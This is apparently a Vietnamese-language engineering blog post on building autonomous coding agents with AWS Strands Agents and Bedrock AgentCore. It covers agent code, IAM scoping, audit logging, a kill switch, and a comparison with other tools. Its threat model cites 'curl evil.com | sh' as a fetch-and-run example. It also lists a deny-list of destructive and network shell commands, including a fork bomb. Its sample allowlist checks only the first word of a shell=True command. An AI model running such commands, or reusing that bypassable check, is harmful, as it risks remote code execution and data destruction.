Remote SWE agents: autonomous coding với AWS Strands Agents

AWS Strands Agents + Bedrock AgentCore cho autonomous SWE agent. GitHub issue → PR. Threat model, IAM blast radius, audit. So sánh Copilot Workspace và Devin.

· 7 phút đọc

TL;DR

  • Strands Agents là framework AWS publish 2025 cho autonomous agent chạy trên Bedrock AgentCore. Model-agnostic — dùng Claude/Llama/Nova qua Bedrock.
  • aws-samples/remote-swe-agents là reference implementation: GitHub issue → agent đọc → plan → mở PR. Tự host trên AgentCore + ECR + Lambda + S3.
  • Threat model nghiêm trọng — agent có quyền clone repo + push branch + chạy code. IAM blast radius = quyền của role agent assume + GitHub scope của fine-grained PAT.
  • Stance: dùng được cho routine refactor (bump dep, lint fix, type annotation, format). Không dùng cho prod hotfix, security patch, hoặc thay đổi cross-service. Threshold: PR < 200 dòng + human approve.
  • So với GitHub Copilot Workspace (managed) và Devin ($500/tháng SaaS): Strands self-host kiểm soát hơn nhưng vận hành nặng. Cost mỗi PR ~$0.50-2 (Bedrock token).
  • Audit CloudTrail mọi action agent. Slack alert mỗi PR open. Kill switch SSM Parameter để pause toàn bộ agent fleet trong < 30s.

Vì sao tôi thử agent tự code

Backlog team Platform Q4 2025: ~80 PR dependency bump pending. Renovate Bot mở PR đầy đủ, nhưng CI fail 30% vì breaking change cần migration code. Migration code đó 80% là pattern lặp lại — đổi import, đổi method signature, update type. Devil’s work cho người, perfect cho agent.

Phương án thử: AWS Strands Agents chạy trên Bedrock AgentCore. Mỗi issue Renovate fail = trigger agent đọc CI log, sửa code, push commit, comment PR. Sau 3 tháng vận hành (Q4 2025 + tháng 1 này), 240 PR merged automated, ~30 PR bị reject vì agent “creative” quá. Bài này về cách build và rào chắn.

Strands Agents là gì — không phải LangChain on AWS

Strands Agents là framework Python AWS publish 2025, đứng cùng wave với Bedrock AgentCore. Khác LangChain ở:

  • Model-agnostic qua Bedrock — switch giữa Claude Sonnet 4.7, Claude Opus 4.7, Llama 3.3, Amazon Nova bằng 1 dòng config. Không hard-code provider.
  • AgentCore native — agent chạy trong AgentCore Runtime (managed serverless), tự handle session, memory, observability.
  • Tool định nghĩa Python decorator giống MCP, dễ migrate giữa MCP server và Strands tool.
  • Multi-agent orchestration built-in — Swarm, Graph, Handoff primitives.

Hello-world Strands agent:

# agent.py
from strands import Agent, tool
from strands.models import BedrockModel

@tool
def search_codebase(query: str, repo: str) -> list[dict]:
    """Search code in a GitHub repo using GitHub Code Search API."""
    import requests, os
    r = requests.get(
        "https://api.github.com/search/code",
        params={"q": f"{query} repo:{repo}"},
        headers={"Authorization": f"Bearer {os.environ['GH_TOKEN']}"},
    )
    return [{"path": i["path"], "url": i["html_url"]} for i in r.json()["items"][:5]]


agent = Agent(
    model=BedrockModel(model_id="us.anthropic.claude-sonnet-4-7-20250929-v1:0"),
    tools=[search_codebase],
    system_prompt="You are a code search assistant.",
)

response = agent("Find usages of `useEffect` in vercel/next.js")
print(response)

Khi deploy lên AgentCore Runtime:

from aws_bedrock_agentcore import AgentCoreApp

app = AgentCoreApp()

@app.entrypoint
def invoke(payload: dict):
    user_msg = payload["prompt"]
    return {"result": agent(user_msg)}


if __name__ == "__main__":
    app.run()

agentcore deploy build container image, push ECR, register endpoint. Bedrock invoke endpoint trả result.

remote-swe-agents — kiến trúc workflow

aws-samples/remote-swe-agents là reference implementation phức tạp hơn — full pipeline GitHub issue → PR:

GitHub issue (label "agent:fix")
  → Webhook → API Gateway → Lambda router
  → SQS task queue
  → ECS Fargate task (or AgentCore Runtime)
  → Agent loop:
      1. Read issue body + comments
      2. Clone repo to /tmp (sparse checkout)
      3. Plan: which files to touch
      4. Read files, build context
      5. Generate patch
      6. Apply patch, run tests
      7. If tests pass → commit + push branch
      8. Open PR + comment with reasoning
  → CloudWatch Logs (audit)
  → SNS notification to Slack

Agent dùng GitHub fine-grained PAT (scope: 1 repo, contents:write, pull-requests:write). Không phải org admin token.

Code agent loop điển hình:

from strands import Agent, tool
from strands.models import BedrockModel
import subprocess, tempfile, os

REPO_TOOLS = []

@tool
def read_file(path: str) -> str:
    """Read a file from the current repo working directory."""
    with open(os.path.join(os.environ["WORK_DIR"], path)) as f:
        return f.read()

@tool
def list_files(directory: str = ".") -> list[str]:
    """List files in a directory (relative to repo root)."""
    full = os.path.join(os.environ["WORK_DIR"], directory)
    return [os.path.relpath(os.path.join(r, f), os.environ["WORK_DIR"])
            for r, _, fs in os.walk(full) for f in fs
            if not r.startswith(os.path.join(full, ".git"))]

@tool
def write_file(path: str, content: str) -> dict:
    """Write content to a file in the repo."""
    full = os.path.join(os.environ["WORK_DIR"], path)
    os.makedirs(os.path.dirname(full), exist_ok=True)
    with open(full, "w") as f:
        f.write(content)
    return {"ok": True, "path": path, "bytes": len(content)}

@tool
def run_command(cmd: str, timeout: int = 120) -> dict:
    """Run a shell command in the repo. Only safe commands allowed."""
    ALLOWED = ("npm", "pnpm", "yarn", "pytest", "ruff", "mypy", "tsc", "git")
    if not cmd.split()[0] in ALLOWED:
        return {"ok": False, "error": f"command not allowed: {cmd.split()[0]}"}
    try:
        result = subprocess.run(
            cmd, shell=True, cwd=os.environ["WORK_DIR"],
            capture_output=True, text=True, timeout=timeout,
        )
        return {
            "ok": result.returncode == 0,
            "stdout": result.stdout[-4000:],
            "stderr": result.stderr[-4000:],
            "exit_code": result.returncode,
        }
    except subprocess.TimeoutExpired:
        return {"ok": False, "error": "timeout"}


def run_swe_agent(issue: dict, repo: str) -> dict:
    work_dir = tempfile.mkdtemp(prefix="swe-")
    os.environ["WORK_DIR"] = work_dir

    # Sparse clone
    subprocess.run(["git", "clone", "--depth=1", f"https://x-access-token:{os.environ['GH_TOKEN']}@github.com/{repo}.git", work_dir], check=True)

    agent = Agent(
        model=BedrockModel(model_id="us.anthropic.claude-sonnet-4-7-20250929-v1:0"),
        tools=[read_file, list_files, write_file, run_command],
        system_prompt=open("prompts/swe.md").read(),
        max_iterations=30,  # Hard cap on tool calls
    )

    branch = f"agent/issue-{issue['number']}"
    subprocess.run(["git", "checkout", "-b", branch], cwd=work_dir, check=True)

    response = agent(f"Fix this issue:\n\n{issue['title']}\n\n{issue['body']}")

    # Verify agent didn't break tests
    test_result = subprocess.run(["npm", "test"], cwd=work_dir, capture_output=True)
    if test_result.returncode != 0:
        return {"ok": False, "reason": "tests failed after agent run"}

    # Commit + push
    subprocess.run(["git", "add", "-A"], cwd=work_dir)
    subprocess.run(["git", "commit", "-m", f"fix: {issue['title']}\n\nAgent: {response.summary}"], cwd=work_dir)
    subprocess.run(["git", "push", "origin", branch], cwd=work_dir, check=True)

    # Open PR via GitHub API
    pr = open_pr(repo, branch, issue["number"], response.summary)
    return {"ok": True, "pr_url": pr["html_url"]}

Threat model — agent có thể làm gì sai

Đây là phần quan trọng nhất bài này. Agent có quyền:

  1. Read mọi file repo — bao gồm .env.example, comment có secret, hardcoded API key cũ trong git history.
  2. Write/delete file — agent có thể overwrite package.json thành garbage, delete migration.
  3. Push branch — branch không protected có thể overwrite (force push). PR branch không quá nguy hiểm vì người duyệt thấy diff.
  4. Run command shellrun_command tool nguy hiểm nhất. Nếu allowlist quá rộng, agent có thể curl evil.com | sh (đùa, nhưng tương tự).
  5. Call AWS API qua IAM role agent assume — nếu role có S3 read, agent có thể đọc S3 bucket khác.

Blast radius mitigation:

# Fine-grained PAT — scope tối thiểu
permissions:
  contents: write         # đọc + push branch
  pull-requests: write    # mở PR + comment
  # KHÔNG: admin, workflows, secrets, packages

# IAM role agent assume — chỉ read Bedrock + write S3 sandbox
PolicyDocument:
  Statement:
    - Effect: Allow
      Action:
        - bedrock:InvokeModel
        - bedrock:InvokeModelWithResponseStream
      Resource:
        - arn:aws:bedrock:*::foundation-model/anthropic.claude-sonnet-4-7-*
    - Effect: Allow
      Action:
        - s3:GetObject
        - s3:PutObject
      Resource:
        - arn:aws:s3:::agent-sandbox-bucket/*
    - Effect: Deny
      Action: "*"
      Resource: "*"
      Condition:
        StringNotLike:
          aws:RequestedRegion:
            - us-east-1

Deny default + Allow specific quan trọng. Đừng đưa role có *:* cho agent ngay cả trong dev.

# Command allowlist trong run_command tool
ALLOWED_PREFIXES = (
    "npm ", "pnpm ", "yarn ",  # JS package manager
    "pytest", "python -m pytest",
    "ruff ", "mypy ", "tsc ",
    "git status", "git diff", "git log", "git add", "git commit", "git checkout", "git branch", "git push",
)
DENIED_PATTERNS = (
    "curl", "wget", "ssh", "scp", "sudo", "chmod 777",
    "rm -rf /", "dd if=", "mkfs", ":(){",  # fork bomb
    "git push --force", "git reset --hard origin",
)

Container isolation: chạy agent trong Fargate task với network mode awsvpc, NACL chỉ allow outbound 443 tới api.github.com, bedrock-runtime.us-east-1.amazonaws.com, pypi.org, registry.npmjs.org. Không cho phép DNS resolution arbitrary.

Audit — CloudTrail + tool log

Mọi action agent phải log. Pattern:

import boto3, json
from datetime import datetime

audit = boto3.client("dynamodb")

def audit_log(agent_id: str, action: str, target: str, result: dict):
    audit.put_item(
        TableName="agent-audit-log",
        Item={
            "agent_id": {"S": agent_id},
            "timestamp": {"N": str(int(datetime.utcnow().timestamp() * 1000))},
            "action": {"S": action},
            "target": {"S": target},
            "result": {"S": json.dumps(result)[:4000]},
        },
    )

# Wrap mọi tool
@tool
def write_file(path: str, content: str) -> dict:
    result = _write_file_impl(path, content)
    audit_log(os.environ["AGENT_ID"], "write_file", path, result)
    return result

CloudTrail tự log AWS API call (Bedrock invoke, S3 put). GitHub Webhook Events log push/PR. DynamoDB log tool call trong-agent. 3 nguồn để correlate khi agent làm sai.

Slack alert mỗi PR mở:

def notify_slack(pr_url: str, issue_num: int, summary: str):
    requests.post(os.environ["SLACK_WEBHOOK"], json={
        "text": f":robot_face: Agent opened PR for #{issue_num}\n{pr_url}\n```{summary[:500]}```",
        "attachments": [{
            "actions": [
                {"text": "Review", "type": "button", "url": pr_url},
                {"text": "Kill agent", "type": "button", "url": f"https://ops.example.com/kill?agent={os.environ['AGENT_ID']}"},
            ],
        }],
    })

Kill switch — SSM Parameter

Nếu agent đang fan-out và bạn phát hiện nó đang phá, cần dừng < 30s:

# Agent kiểm tra mỗi iteration
def should_continue() -> bool:
    ssm = boto3.client("ssm")
    p = ssm.get_parameter(Name="/agents/kill-switch", WithDecryption=False)
    return p["Parameter"]["Value"] != "STOP"


# Trong agent loop, override max_iterations check
agent = Agent(
    model=BedrockModel(...),
    tools=[...],
    on_iteration=lambda i: should_continue() or sys.exit(1),
)

Set kill switch:

aws ssm put-parameter --name /agents/kill-switch --value STOP --overwrite

Lambda script chạy ngay khi PR-runner notice STOP, drain SQS queue, ack pending tasks but no-op execute. ECS task đang chạy thoát ở iteration tiếp theo (~10-30s tùy LLM latency).

So sánh với Copilot Workspace, Devin, Cursor

AspectStrands self-hostGitHub Copilot WorkspaceDevin (Cognition)Cursor Agent
HostingSelf (AWS)GitHub managedCognition SaaSCursor IDE local + cloud
Cost$0.50-2/PR (Bedrock)$39/user/tháng (Enterprise)$500/tháng/seat$20/tháng/user + API token
CustomizationFull controlLimited promptLimitedMedium (rule files)
Model choiceBedrock catalogGPT-4/Copilot modelClaude (internal)Claude/GPT chọn
IAM/AuditFull CloudTrailGitHub audit logCognition logsCursor logs
Multi-repoTự buildNativeNativeManual switch
Trust boundaryTrong AWS accountBên ngoài (GitHub)Bên ngoài (Cognition)Local + Cursor cloud
Setup time1-2 tuần30 phút1 giờ5 phút

Stance:

  • Cursor: developer tool, không phải autonomous agent. Vẫn cần human drive.
  • Copilot Workspace: nếu tin GitHub đủ và team < 50 dev, managed solution chạy được. Customization hạn chế.
  • Devin: SaaS đắt, control thấp, không qua security review nhiều team.
  • Strands self-host: control cao nhất nhưng tốn engineering. Đáng nếu (a) compliance bắt giữ data trong AWS, (b) cần custom rule policy, (c) volume PR đủ lớn để break-even effort.

Với 80 PR/tháng dependency bump, break-even tại tuần thứ 6 (so với tự fix tay 30 phút/PR × 80 PR × 1h dev cost).

Khi nào KHÔNG dùng SWE agent

Đây là bài học sau 3 tháng:

  • Prod hotfix: agent không hiểu business context. Bug edge-case mà human lo lắng phải rollback fast.
  • Security patch: cần human verify CVE applied đúng và không tạo backdoor mới.
  • Cross-service refactor: agent chỉ thấy 1 repo. Đổi API contract phá downstream.
  • Database migration: schema change destructive. Đừng để agent gen migration.
  • PR > 200 dòng: hit-rate giảm mạnh. LLM lost context, output incoherent.
  • Repo không có CI test tốt: agent dựa vào test feedback loop. No test = agent guessing.

Threshold quyết định: PR diff < 200 dòng, CI có > 80% coverage cho area touched, human review sau (không auto-merge agent PR).

Vận hành — checklist 3 tháng

  • GitHub PAT fine-grained, 1 repo, contents+PR scope
  • IAM role agent với Deny default + Allow specific Bedrock + S3 sandbox
  • Network NACL outbound chỉ allow allowlist (github, bedrock, registry)
  • run_command tool có allowlist prefix + deny pattern
  • Container Fargate task, ephemeral storage 20GB tối đa, không EFS mount
  • Max iterations 30 — hard cap tool calls/agent run
  • Timeout per tool 120s, total agent run 30 phút
  • Audit log tới DynamoDB + S3 + CloudWatch (3-2-1)
  • Slack notification mỗi PR open + kill button
  • SSM kill switch parameter, drain script
  • Cost alert AWS Budget: $50/ngày Bedrock token
  • Test corpus: 20 issue mẫu, regression test mỗi prompt update
  • Human reviewer required (branch protection rule)
  • Quarterly rotation GitHub PAT

Cạm bẫy thường gặp

1. Agent infinite loop. LLM bị stuck “let me read this file again”. Phải có max_iterations + detect “same tool call 3 lần liên tiếp” → abort.

2. Token cost explode. Một agent run có thể tốn 500K-2M token (đọc file + tool feedback + reasoning). Set MAX_TOKEN_PER_RUN ~ 500K, abort khi vượt.

3. Agent đoán secret từ git history. git log -p lộ .env cũ. Tắt git log trong allowlist, chỉ allow git log --oneline.

4. Agent commit credential. Hiếm nhưng đã xảy ra 1 lần — agent vô tình write .env thực. Pre-commit hook scan secret (gitleaks) trước push.

5. PR phá CI vì test flaky. Agent thấy test fail → đoán fix → fix sai → ship. Phải có “retry once” + “verify test fail cùng cách 3 lần” gate.

6. Container chạy giữa region khác. Bedrock model availability khác region. Lock region us-east-1 hoặc us-west-2.

Bottom line

AWS Strands + AgentCore + remote-swe-agents là stack production-grade nhất hiện tại để chạy autonomous SWE agent trong control của bạn. Trade-off chính: vận hành 2 tuần đầu nặng (IAM, networking, audit), sau đó scale tốt. Tôi không khuyến cáo cho team < 30 dev — cost engineering không break-even. Cũng không khuyến cáo cho mọi loại PR — giới hạn ở routine refactor (dep bump, lint fix, format, type annotation). Khi vượt threshold đó, agent làm sai cost lớn hơn agent đúng. Cho 240 PR merge automated trong 3 tháng của tôi, đó là saving ~120 giờ dev. Quan trọng: human review luôn-luôn ở giữa agent output và main branch. Agent autonomous trong sandbox, không autonomous trong production code path.

Tham chiếu